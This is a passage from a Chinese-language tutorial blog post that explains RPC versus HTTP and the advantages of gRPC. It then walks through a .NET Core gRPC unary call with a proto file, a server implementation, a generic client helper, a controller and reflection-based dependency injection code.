    RPC 的客户端认为自己是在调用本地对象,因此其对使用的网络协议( HTTP 协议等)以及网络 IO 模型,是不关心的。
  • 信息格式对其透明。
    调用方法是需要传递参数的,对于远程调用来说,传递过程中参数的信息格式是怎样构成,以及提供者如何使用这些参数,都是不用关心的。
  • 有跨语言能力
    。因为调用方实际上也不清楚远程服务器的应用程序是使用什么语言运行的。那么对于调用方来说,无论服务器方使用的是什么语言,本次调用都应该成功,并且返回值也应该按照调用方程序语言所能理解的形式进行描述。

RPC

HTTP
的对比

其实 RPC 跟 HTTP 不是一个层级的东西,
RPC
应该是跟
HTTP + RestFul
进行对比。

深入了解:
HTTP 与 RPC 接口区别

传输协议

RPC 可以基于 HTTP 或者 TCP 进行传输,而 HTTP 只能基于 HTTP

传输效率

RPC 包含了 HTTP2 的优点,所以他的传输效率比 HTTP1 更高~

性能消耗

RPC 包含 HTTP2 的优点,比如二进制传输、头部压缩等,所以性能消耗自然比 HTTP1 低~

负载均衡

RPC 基本都自带负载均衡策略,而 HTTP 需要配置 Nginx/HAProxy 来完成

服务治理

RPC 能做到自动通知,不影响上游,而 HTTP 需要事先通知,修改 Nginx/HAProxy 配置

gRPC 和 RPC 的关系

Grpc

由谷歌开源的一种 RPC 框架,设计之初便是为了解决谷歌内部的 RPC 使用场景所遇到的问题。因此你可以说
gRPC 就是一种 RPC 框架类型
。具体来说:

  • RPC是一种编程范式,定义了客户端像调用本地函数一样调用远程函数的方式。
  • gRPC 是 Google 基于 HTTP/2 和 Protocol Buffers 实现的 RPC 框架。
  • gRPC 支持双向流、流控、头压缩等,性能优异。

所以 gRPC 是  RPC 模式的一种高效实现,提供了语言中立、高性能、安全的 RPC 服务框架,使得RPC服务调用更加高效、简单、通用。它是 RPC 模式的一种优秀代表。

gRPC 的优势有哪些?

gRPC 是基于
HTTP/2
设计的~所以 gRPC 的优点自然也包含了 HTTP/2 的优点:

  • 数据传输二进制分帧
  • 多路复用
  • 服务端推送
  • 头部压缩

gRPC的主要优势及其简要描述:

优势
描述
高性能
利用HTTP/2提供高效的网络传输,支持双向流、头部压缩、多路复用。
跨语言支持
支持多种编程语言间的无缝通信和集成。
自动化生成代码
使用Protobuf定义服务,自动生成客户端和服务器代码。
错误处理
定义丰富的错误码和状态码,便于异常处理和调试。
通信模式多样
支持多种RPC通信模型,如一对一、服务端流、客户端流、双向流等。
可扩展性
拦截器和插件机制允许功能的扩展和定制。
社区和生态系统
拥有活跃的社区支持和丰富的相关工具及库。

gRPC 是怎么传输的?

什么是 gRPC
传输图

从上图的 gRPC 传输模型可以看出,客户端 Stub 从 gRPC Core 库发起请求,序列化成 Protobuf 消息格式,然后传输至服务端。

服务端 Stub 接收客户端请求,处理请求中的 Protobuf 数据并进行反序列化,然后将请求对象传入服务器并实现业务逻辑处理。最终再将响应序列化后返回给客户端,从而形成一次完整的接口调用过程。

以上概念以及相关知识点来自
apifox

NET Core实现Grpc调用

话不多说,以下内容详细介绍一元调用的过程,贴代码。

-----------------服务端代码 Start-----------------

步骤一:

在Grpc服务端(Server)先创建一个.potos文件。文件名(IBook_Service.proto)文件路径(Protos/IBook_Service.proto)

//表明使用protobuf的编译器版本为v2,目前最新的版本为v3。
syntax = "proto3";

//定义命名空间
option csharp_namespace = "ZP_BookService_Grpc.Application.Book_Service";

//包名:多个 .proto 文件生成代码时,可避免命名冲突。
package Book_Service;

//1、定义接口名称,用于后期实现
service IBook_Service{
 
 // 1.1 根据商品主键,获取商品
 rpc GetBook (BookFrom) returns (BookDto);
}

// 2、定义入参(类)Form:顺序要写,且不能重复
message BookFrom{
    string BookName = 1; 
}

// 3、定义出参Dto(类):顺序要写,且不能重复
message BookDto{
    string ID = 1; 
    string CreateTime = 2; 
    string BookName = 3; 
    string BookPrice =4;
    string PublicationDate = 5;
    string Type = 6;
    string Publisher = 7;
    int32  Residue = 8;
}

步骤二:

文件建立好后需要在项目的Project内加上文件的目录(Protos\IBook_Service.prot) GrpcServices意思是服务端,一定要加上
<Protobuf Include="Protos\IBook_Service.proto" GrpcServices="Server" />

引用包(Google.Protobuf、Grpc.AspNetCore、Grpc.Tools)

完成以上步骤,右键项目选择 “重新生成”。生成以后可以在项目的obj文件夹(~\Application_Grpc\obj\Debug\net7.0\Protos)看到一个自动生成的Protos文件夹

<ItemGroup>
    <PackageReference Include="Google.Protobuf" Version="3.26.0" />
    <PackageReference Include="Grpc.AspNetCore" Version="2.61.0" />
    <PackageReference Include="Grpc.Tools" Version="2.62.0" />
</ItemGroup>
<ItemGroup>
	<Protobuf Include="Protos\IBook_Service.proto" GrpcServices="Server" />
</ItemGroup>

步骤三:

创建一个实现类(Book_Service)用于实现protos文件夹内自动生成的接口(IBook_Service.IBook_ServiceBase)。注:实现带有Base的接口。接口名称是定义proto文件的时候自定义的。

namespace Application_Grpc.Application.BusinessServices
{
    //注入作用域生命周期
    [Service(ServiceLifetime.Scoped)]
    public class Book_Service : IBook_Service.IBook_ServiceBase
    {
        private IBook_Repository _bookRepository { get; }
        private IMapper _mapper { get; }
        public Book_Service(IBook_Repository book_Repository, IMapper mapper)
        {
            _bookRepository = book_Repository;
            _mapper = mapper;
        }
        public override async Task<BookDto> GetBook(BookFrom request, ServerCallContext context)
        {
            BookDto data=new BookDto();
            data.ID = Guid.NewGuid().ToString();
            data.CreateTime = DateTime.Now.ToString();
            data.BookName = request.BookName;
            data.BookPrice = "29.99";
            data.PublicationDate = "1999-03-21";
            data.Type = "经典";
            data.Publisher = "清华大学出版社";
            data.Residue = 5;
            return data;
        }
    }
}

至此,服务端的Grpc就完成了。剩下的就是把项目进行服务依赖注入操作,本实例代码通过贴特征方式注入。可以在
Program.cs
以常规方式注入自己的服务。

如:
builder.Services.AddSingleton<Book_Service>();

-----------------服务端代码 END-----------------

-----------------客户端代码 Start-----------------

步骤一:

步骤一:

在Grpc服务端(Client)先创建一个.potos文件。文件名(IBook_Service.proto)文件路径(Protos/IBook_Service.proto)。
其实就是复制服务端的 proto 修改下 命名空间

//表明使用protobuf的编译器版本为v2,目前最新的版本为v3。
syntax = "proto3";

//定义命名空间
option csharp_namespace = "ZP_ProjectEntrance.MicroService.Book_Service";

//包名:多个 .proto 文件生成代码时,可避免命名冲突。
package Book_Service;

//1、定义接口名称,用于后期实现
service IBook_Service{
 
 // 1.1 根据商品主键,获取商品
 rpc GetBook (BookFrom) returns (BookDto);
}

// 2、定义入参(类)Form:顺序要写,且不能重复
message BookFrom{
    string BookName = 1; 
}

// 3、定义出参Dto(类):顺序要写,且不能重复
message BookDto{
    string ID = 1; 
    string CreateTime = 2; 
    string BookName = 3; 
    string BookPrice =4;
    string PublicationDate = 5;
    string Type = 6;
    string Publisher = 7;
    int32  Residue = 8;
}

步骤二:

文件建立好后需要在项目的加上文件的目录(Protos\IBook_Service.prot) GrpcServices意思是客户端(Client),一定要加上
<Protobuf Include="Protos\IBook_Service.proto" GrpcServices="Client" />

引用包(Google.Protobuf、Grpc.AspNetCore、Grpc.Tools)

完成以上步骤,右键项目选择 “重新生成”。生成以后可以在项目的obj文件夹(~\ZP_ProjectEntrance\obj\Debug\net7.0\Protos)看到一个自动生成的Protos文件夹

<ItemGroup>
    <PackageReference Include="Google.Protobuf" Version="3.26.0" />
    <PackageReference Include="Grpc.AspNetCore" Version="2.61.0" />
    <PackageReference Include="Grpc.Tools" Version="2.62.0" />
</ItemGroup>
<ItemGroup>
	<Protobuf Include="Protos\IBook_Service.proto" GrpcServices="Client" />
</ItemGroup>

步骤三:
重点、重点、重点~

创建一个客户端类(ClientHelper)用于对接到Grpc的服务端,通过Func型委托形式构建,做成公共的请求服务端入口。

public static class GrpcClientHelper
{
    /// <summary>
    /// 一元rpc调用
    /// </summary>
    /// <typeparam name="TClient">客户端类型</typeparam>
    /// <typeparam name="TRequest">请求类型  </typeparam>
    /// <typeparam name="TResponse">服务端响应返回类型</typeparam>
    /// <typeparam name="TResult">方法返回类型 </typeparam>
    /// <param name="serverAddress">请求服务端地址</param>
    /// <param name="callFunc">异步调用 gRPC方法的委托 </param>
    /// <param name="request">封装请求对象(数据)</param>
    /// <param name="clientFactory">创建 gRPC 客户端的委托工厂方法  </param>
    /// <returns></returns>
    public static async Task<TResult> CallGrpcServiceAsync<TClient, TRequest, TResponse, TResult>(
        string serverAddress, Func<TClient, TRequest, Task<TResponse>> callFunc, TRequest request, Func<GrpcChannel, TClient> clientFactory)
        where TClient : class
        where TRequest : class
        where TResponse : class
    {
        using var channel = GrpcChannel.ForAddress(serverAddress);
        var client = clientFactory(channel);
        try
        {
            var response = await callFunc(client, request);
            // 这里添加转换逻辑,如果 TResponse 不是 TResult,强制类型转换,需要确保类型兼容 
            return (TResult)(object)response;
        }
        catch (RpcException)
        {
            // 处理异常  
            throw;
        }
    }
    /// <summary>
    /// 获取某个字段的值
    /// </summary>
    /// <typeparam name="Source"></typeparam>
    /// <param name="source"></param>
    /// <param name="field"></param>
    /// <returns></returns>
    public static object GetFieldValue<Source>(Source source, string field)
    {
        var fieldProperty = source.GetType().GetProperty(field);
        if (fieldProperty != null)
            return fieldProperty.GetValue(source);
        else
            return null;
    }
}

步骤四:

通过Controllers定义的方法,以请求方法形式进行调用到GrpcClientHelper

namespace ZP_ProjectEntrance.Controllers
{
    [Route("api/[controller]")]
    [ApiController]
    public class BooKController : ControllerBase
    {
        private readonly ILogger<BooKController> _logger;
        public BooKController(ILogger<BooKController> logger)
        {
            _logger = logger;
        }
        /// <summary>
        /// 获取书籍信息
        /// </summary>
        /// <returns></returns>
        [HttpGet(Name = "GetBook")]
        public async Task<BookDto> GetBookAsync()
        {
            // 服务端地址,可以扩展为请求分布式集群
            string serverAddress = "http://localhost:5031";
            // 使用 GrpcClientHelper 来调用 gRPC 服务 ,  
            BookDto bookDto = await GrpcClientHelper.CallGrpcServiceAsync<IBook_Service.IBook_ServiceClient, BookFrom, BookDto, BookDto>(
                serverAddress,
                async (client, request) => await client.GetBookAsync(request),  // 异步调用 gRPC 方法的委托  
                new BookFrom { BookName = "三国演义" },                          // 封装请求对象(值)
                (channel) => new IBook_Service.IBook_ServiceClient(channel)     // 实现 gRPC 客户端的委托方法  
            );
            _logger.LogInformation(JsonConvert.SerializeObject(bookDto));
            return bookDto;
        }
    }
}

至此,客户端的Grpc就完成了。

-----------------客户端代码 END-----------------

项目的结构

附:
贴特征形式实现依赖注入的代码,通过反射机制实现。

注:业务层和仓储层必须是独立层项目,或相同形式进行隔离(要么统一接口I_BLL、I_DLL,要么单纯的BLL、DLL),否则自行对自动注册类进行改造。

代码可以写在公共层 ExternalService 项目中,作为基础服务进行引用。

using Microsoft.Extensions.DependencyInjection;
using System.Reflection;

namespace ExternalService.RegisterServices
{
    /// <summary>
    /// 通过反射机制自动化进行依赖注入服务
    /// </summary>
    public static class ServiceCollectionExtension
    {
        /// <summary>
        /// 注册接口类型服务,继承接口(贴特征)
        /// </summary>
        /// <param name="services">this服务</param>
        /// <param name="assembly">程序集</param>
        /// <returns></returns>
        public static IServiceCollection RegisterIntfaceTypeService(this IServiceCollection services, Assembly assembly)
        {
            var interfaces = assembly.GetTypes().Where(t => t.IsInterface).ToList();
            var types = assembly.GetTypes().Where(t => t.IsClass).ToList();

            foreach (var interf in interfaces)
            {
                if (interf == null)
                    continue;

                var type = types.FirstOrDefault(interf.IsAssignableFrom);
                if (type == null)
                    continue;

                var liftTime = ServiceLifetime.Scoped;
                var attr = type.GetCustomAttribute<ServiceAttribute>();
                if (attr != null)
                    liftTime = attr.LifeTime;
                else
                    continue;

                switch (liftTime)
                {
                    default:
                    case ServiceLifetime.Scoped:
                        {
                            //作用生命周期:同一请求之间状态共享,跟随HTTP请求生命周期
                            services.AddScoped(interf, type);
                            break;
                        }
                    case ServiceLifetime.Transient:
                        {
                            //瞬时生命周期:无状态化,每次使用是 new ()
                            services.AddTransient(interf, type);
                            break;
                        }
                    case ServiceLifetime.Singleton:
                        {
                            //单例生命周期:整个程序所有请求状态共享,整个程序只有一个实例
                            services.AddSingleton(interf, type);
                            break;
                        }
                }
            }
            return services;
        }
        /// <summary>
        /// 注册普通类服务,非接口类型(贴特征)
        /// </summary>
        /// <param name="services">this服务</param>
        /// <param name="assembly">程序集</param>
        /// <param name="NamespaceKeyWord">命名空间关键字</param>
        /// <returns></returns>
        public static IServiceCollection RegisterClassService(this IServiceCollection services, Assembly assembly, string NamespaceKeyWord = "")
        {
            var ClassTypes = assembly.GetTypes().Where(t => t.IsClass && !t.IsAbstract).ToList();
            if (!string.IsNullOrEmpty(NamespaceKeyWord))
                ClassTypes = assembly.GetTypes().Where(t => t.Name.Contains(NamespaceKeyWord)).ToList();
            foreach (var types in ClassTypes)
            {
                if (types == null)
                    continue;

                var liftTime = ServiceLifetime.Scoped;
                var attr = types.GetCustomAttribute<ServiceAttribute>();
                if (attr != null)
                    liftTime = attr.LifeTime;
                else
                    continue;

                switch (liftTime)
                {
                    default:
                    case ServiceLifetime.Scoped:
                        {
                            //作用生命周期:同一请求之间状态共享,跟随HTTP请求生命周期
                            services.AddScoped(types);
                            break;
                        }
                    case ServiceLifetime.Transient:
                        {
                            //瞬时生命周期:无状态化,每次使用是 new ()
                            services.AddTransient(types);
                            break;
                        }
                    case ServiceLifetime.Singleton:
                        {
                            //单例生命周期:整个程序所有请求状态共享,整个程序只有一个实例
                            services.AddSingleton(types);
                            break;
                        }
                }
            }
            return services;
        }
    }

    /// <summary>
    /// 生命周期特征
    /// </summary>
    [AttributeUsage(AttributeTargets.Class)]
    public class ServiceAttribute : Attribute
    {
        internal ServiceLifetime LifeTime { get; set; }

        public ServiceAttribute(ServiceLifetime lifeTime) => LifeTime = lifeTime;
    }
}

在使用的项目程序集内创建一个扩展服务 AddApplication_Register。然后调用注册类扩展服务
services.RegisterClassService(Assembly.GetExecutingAssembly());

using System.Reflection;

using ExternalService.RegisterServices;
using Microsoft.Extensions.DependencyInjection;

namespace Application_Grpc
{
    public static class Application_GrpcExtension
    {
        public static IServiceCollection AddApplication_Register(this IServiceCollection services)
        {
            services.RegisterClassService(Assembly.GetExecutingAssembly());
            return services;
        }
    }
}

在Program.cs内注册添加项目程序集的扩展服务,把上面Application_GrpcExtension类的AddApplication_Register进行调用:
builder.Services.AddApplication_Register();